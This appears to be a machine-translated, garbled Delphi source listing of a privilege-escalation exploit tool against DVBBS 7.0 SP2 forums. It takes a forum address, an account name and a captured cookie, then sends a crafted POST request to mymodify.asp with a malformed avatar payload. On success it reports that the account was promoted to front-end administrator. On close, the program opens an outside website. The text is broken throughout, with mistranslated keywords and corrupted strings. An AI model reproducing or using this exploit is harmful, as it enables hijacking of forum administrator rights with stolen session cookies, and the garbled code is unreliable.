DVBB S 7.0 Sp 2フロントのディップ利用プログラム「Kendy版」のソースコード


著者:Kendy ソース:Kendy’s ブログ 
ユニット ユニティ1 
インターフェース 
アメリカ 
  Windows、 Messages SysUtils、 Varants、 Class Graphics Controls Forms 
  Dialogs、 SktComp StdCtrls CommCtrls、 WinSkinData、 シェルアプリ 
タイプ 
  TForm 1 = クラス(TForm) 
   Label 1: TLabel; 
   Label 2: TLabel; 
   Label 3: TLabel; 
   Edit 1: TEdit; 
   Edit 2: TEdit; 
   Edit 3: TEdit; 
   Button 1: TButton 
   ClientSockett 1: TClient Socket 
   Group Box 1: TGroup Box 
   Memo 1: TMemo; 
   Label 4: TLabel; 
   SttusBar 1: TStatusBar 
   SkintData 1: TSkintData; 
   プロデュース Button 1 Click(Sender: TObject); 
   プロデュース ClienntSockett 1 Connect(Sender: TObject 
    ソケット: TCustom WinSocket) 
   プロデュース ClientSocket 1 Read(Sender: TObject ソケット: TCustom WinSocket) 
   プロデュース ClientSocket 1 Error(Sender: TObject ソケット: TCustom WinSocket 
    ErrerEvent: TErrorEvent; var Error Code: Integer; 
   プロデュース FormClose(Sender: TObject var アクション: TCloseアクション 
  prvate 
   { Private declarations } 
  public 
   { Public declarations } 
  end; 
var 
  Form 1: TForm 1; 
 Data: ストリングス 
implement ation 
{$R *.dfm} 
プロデュース TForm 1.Button 1 Click(Sender: TObject); 
var 
  sUrl、sUsername、s POST、sReferer、sCookie、S:string; 
  i:integer; 
begin 
  CientSockett 1.Client lose ; 
  if edit 1.Text = ’’ then 
  begin 
   SttusBar 1.Panels[0].Text :=’フォーラムの住所を入力してください。’; 
   exit 
  end; 
  if edit 2.Text = ’’ then 
  begin 
   SttusBar 1.Panels[0].Text :=’あなたのフォーラムのアカウントを入力してください。’; 
   exit 
  end; 
  if edit 3.Text = ’’ then 
  begin 
   SttusBar 1.Panels[0].Text :=’キャプチャしたCookieを入力してください。’; 
   exit 
  end; 
  mo 1.Text :=’’; 
  SttusBar 1.Panels[0].Text :=’’; 
  Label 4.Caption :=’’; 
  sUrl:=edit 1.Text ; 
  if ポス(’http://’,sUrl) <> 0 then 
   sUrl:=StringReplace(sUrl)’http://’,’’,[rfIgnoreCase) 
  sUsername:=edit 2.Text ; 
  s Cookie:=edit 3.Text ; 
//----------ホット------------- 
  i:=Pos(’/’,sUrl; 
  if i <> 0 then 
   sHost:=Copy(sUrl,0,i-1) 
  else 
   sHost:=sUrl; 
//---------Referer----------- 
  sReferer:=’http://’ + sUrl + ’/mymodify.asp’; 
//--------POST----------------- 
  sPost:=StringReplace(sUrl,sHost)’’,[rfIgnoreCase) 
  s Post:=sPost + ’/mymodify.asp?action=udat&username=’ + sUsername; 
//--------パケット---------- 
  S:’sex=1&face=Images%2 Fserface%2 Fimage 1.gif&myface=mages/userface/image 1.gif?|32?32?124; 124; 124;?||||?|?20063; 200;’; 
  S:=S+’2016:34:00 124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124 124124124; 124124 21.4.235.20??124124124;’; 
  S:=S+’0??0 124124124124124; 0 124124124124; 124124124124; 124124124124; 124124124124124; 124124124124; 124124124124124; 124124124124124; 124124124124124; 124124124124; 124124124124124; 124124124124; 124124124124124; 124124124124124124124;;;124124124124124124124124124124124;;;;;;;;;124124124124124124124124124124124124124;;;;;;;;;;;124124124124124124124124124124124124124124124124124124124124124124124;;;;;;;;;;;;;;;124124124124124124124124124124124124124124124124 ||||||Dvbs&width=100&height=100’; 
  S:=S+’&birthday=&userphoto=&Group Name=%CE% DE%C 3%C 5%CE% C 5%C 9&Signature=&showRe=0&usercookies=1&setuserine fo’; 
  S:=S+’=1&setusertrue=0&realname=&persol=&country=&userphone=&address=&province=&selectp=0&city=&selectc=0’; 
  S:=S+’&shengxiao=&blood=&belief=&occupation=&martital=&education=&college=&Submit=%B 8%FC+D 0’; 
  Data:=’POST ’+sPost+’ HTTP/1.1’+#13〓〓10 
  Data:=Data+’Accept: イメージ/gif、 イメージ/x-xbitmap、 イメージ/jpeg、 イメージ/pjpeg、 appication/vnd.ms-excel、 アプリ/msword、 appication/x-shocwave-flash、 */*’+#13〓〓10 
  Data:=Data+’Referer: ’+sReferer+萼13\29603;10; 
  Data:=Data+’Acceept Language: zh-cn’+#13〓〓10 
  Data:=Data+’コンテント-Type: アプリ/x-www-form-urlencoded’+#13〓〓10 
  Data:=Data+’Acceept Ecoding: gzip、 deflate’+#13〓〓10 
  Data:=Data+’User-Agent: Mozia/4.0 (comppatible MSIE 6.0; Windows NT 5.1; Maxthon; TencentTraveler )’+#13〓〓10 
  Data:=Data+’Host: ’+sHost+菗13\33751;10; 
  Data:=Data+’Conteet Length: 585’+#13〓〓10 
  Data:=Data+’Connection: Keep-Alive’+#13〓〓10 
  Data:=Data+’Cache-Coontrol: no-cache’+#13〓〓10 
  Data:=Data+’Cookie: ’+ s Cookie+落13獞10+29531;13獞10; 
  Data:=Data+S; 
//---------パケットの送信を開始する---------。 
  CientSockett 1.Host := sHost; 
  ClientSockett 1.Port := 80; 
  CientSockett 1.Open ; 
  SttusBar 1.Panels[0].Text :=’データ送信中…’; 
end; 
プロデュース TForm 1.lient Sockett 1 Connect(Sender: TObject 
  ソケット: TCustom WinSocket) 
begin 
  Sockett.SendText(Data); 
end; 
プロデュース TForm 1.lient Sockett 1 Read(Sender: TObject 
  ソケット: TCustom WinSocket) 
begin 
  mo 1.Text :=Sockett.Receive Text ; 
  if ポス(’あなたの修正情報を送信しました。’,mo 1.Text) <> 0 then 
  begin 
   Label 4.Caption :=’>>フロント管理者に昇進しました。’; 
   SttusBar 1.Panels[0].Text :=’成功しました。もう一度フォーラムに登録してください。’; 
  end 
  else 
  begin 
   Label 4.Caption :=’>> Sorry、権利主張失敗’; 
   SttusBar 1.Panels[0].Text :=’失敗しました。フォーラムを変えてみます。’; 
  end; 
end; 
プロデュース TForm 1.lient Sockett 1 Error(Sender: TObject 
  ソケット: TCustom WinSocket ErrerEvent: TErrorEvent; 
  var Error Code: Integer; 
begin 
  Error Code:= 0; 
  SttusBar 1.Panels[0].Text :=’エロエロ…’; 
  Exit 
end; 
プロデュース TForm 1.FormClose(Sender: TObject var アクション: TCloseアクション 
begin 
  Shell Execute(Handle’open’,’http://aliwy.77169.com’,nil,nil,SW_SHOW 
end; 
end.